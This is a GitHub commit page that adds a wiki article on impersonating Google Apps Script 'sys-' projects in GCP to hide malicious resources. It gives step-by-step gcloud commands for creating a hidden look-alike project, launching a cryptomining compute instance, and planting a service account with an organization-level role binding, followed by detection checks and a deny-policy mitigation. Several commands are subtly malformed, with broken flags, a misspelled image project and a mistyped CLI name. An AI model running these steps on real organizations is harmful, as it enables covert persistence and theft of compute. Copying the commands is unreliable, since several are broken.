Skip to content

Commit 115f831

Browse files
authored
Merge pull request #476 from tsmithv11/main
Add ghost in the script
2 parents 86db52e + ba103ea commit 115f831

2 files changed

Lines changed: 87 additions & 0 deletions

File tree

content/gcp/.pages

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,5 @@ nav:
22
- General Knowledge: general-knowledge
33
- Enumeration: enumeration
44
- Exploitation: exploitation
5+
- Avoid Detection: avoid-detection
56
- Capture the Flag: capture_the_flag
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
---
2+
author_name: Taylor Smith
3+
title: Apps Script project impersonation / Google Apps Script persistence
4+
description: Google Workspace Apps Script projects create hidden GCP projects (sys-<...>) that can be impersonated by attackers. This technique enables stealthy persistence (service accounts, hidden compute, cryptomining) and can bypass common console inspections.
5+
---
6+
7+
<div class="grid cards" markdown>
8+
- :material-account:{ .lg .middle } __Original Research__
9+
10+
---
11+
12+
[Ghost in the Script: Impersonating Google App Script projects for stealthy persistence](https://www.exaforce.com/blogs/ghost-in-the-script) by [Bleon Proko](https://www.linkedin.com/in/bleon-proko/) and [Jakub Pavlik](https://www.linkedin.com/in/pavlikjakub/).
13+
</div>
14+
15+
16+
Google Apps Script is a low-code platform that allows users to automate and integrate Google Workspace applications. When an Apps Script is deployed, it automatically creates a corresponding Google Cloud Platform (GCP) Project within the user's organization. These projects are often hidden from the standard GCP console view, creating an opportunity for attackers to achieve stealthy persistence.
17+
18+
## The Vulnerability
19+
20+
Apps Script projects are created with a specific ID format: `sys-<26 numbers>`. These projects reside in a `system-gsuite/apps-script` folder and are not visible in the organization's project list in the GCP console, though they are visible via the `gcloud` CLI.
21+
22+
An attacker with the `resourcemanager.projects.create` permission can create a standard GCP project that mimics this naming convention. By placing this impersonated project inside the `apps-script` folder, it becomes hidden from the console view, just like a legitimate Apps Script project. This allows the attacker to host malicious resources undetected.
23+
24+
## Attack Vector 1: Malicious Resources
25+
26+
A common abuse is to deploy a high-performance instance for cryptomining within a hidden project. This requires linking the project to a billing account and enabling the necessary APIs.
27+
28+
1. **Create a hidden project** with a name mimicking a legitimate function:
29+
```bash
30+
gcloud projects create 'sys-22222222222222222222222222' --name "Exaforce Google Sheet Function" --folder-936086877446
31+
```
32+
2. **Link the project to a billing account:**
33+
```bash
34+
gcloud beta billing projects link sys-22222222222222222222222222-billing-account xxxxxx
35+
```
36+
3. **Create a large compute instance** for cryptomining:
37+
```bash
38+
gcloud compute instances create app-script-instance project=sys-22222222222222222222222222 --zone=us-central1-a --machine-type=n2-standard-16 --image-family=debian-11 --image-project=deblan-cloud --boot-disk-size=200GB
39+
```
40+
41+
## Attack Vector 2: Stealthy Persistence
42+
43+
Attackers can use a hidden project to create a service account and grant it highly privileged roles for long-term persistence. This identity is hard to discover because it is associated with a project that appears to be managed by Google.
44+
45+
1. **Create a service account** inside the hidden project:
46+
```bash
47+
gcloud iam service-accounts create persistence-service-account --display-name "Persistence Service Account" --project sys-22222222222222222222222222
48+
```
49+
2. **Bind the service account** to a privileged role at the organization level:
50+
```bash
51+
gcloud organizations add-iam-policy-binding xxxxxxx --member="serviceAccount:persistence-service-account@sys-222222222222.iam.gserviceaccount.com" --role="organizations/xxxxx/roles/AppScriptPolicy"
52+
```
53+
54+
Notably, IAM service accounts are free resources, so this persistence mechanism can be established even without linking the project to a billing account, bypassing some detection methods.
55+
56+
-----
57+
58+
## Detection and Mitigation
59+
60+
### Detection Methods
61+
62+
1. **Billing Information**: A legitimate Apps Script project will have `billingEnabled: false`. An impersonated project used for cryptomining will be linked to a billing account (`billingEnabled: true`). You can check this with the command: `acloud beta billing projects describe <project-id>`.
63+
64+
2. **Enabled APIs**: A real Apps Script project has no services enabled by default. An attacker's manually created project will have a list of default APIs enabled. Compare a real vs. fake project with: `gcloud services list --enabled-project <project-id>`.
65+
66+
3. **Audit Logs**: Query the `CreateProject` logs for the `apps-script` folder. A legitimate project's `principalEmail` will be `appsdev-apps-dev-script-auth@system.gserviceaccount.com`. An impersonated project will show the attacker's user email as the creator.
67+
68+
### Mitigation Strategy
69+
70+
You can prevent this attack by implementing a custom organization policy that denies the creation of projects with an ID matching the Apps Script format.
71+
72+
```yaml
73+
name: >-
74+
75+
organizations/012345678912/customConstraints/custom.denyAppsScriptProjectImpersonation
76+
resource_types: cloudresourcemanager.googleapis.com/Project
77+
method_types:
78+
- CREATE
79+
- UPDATE
80+
condition: 'resource.projectId.matches(''sys-[0-9]{26}'')'
81+
action_type: DENY
82+
display_name: Deny Apps Script Project Impersonation
83+
description: ''
84+
```
85+
86+
**Note:** This policy is effective but will also block the creation of legitimate Apps Script projects for all users in the organization.

0 commit comments

Comments
 (0)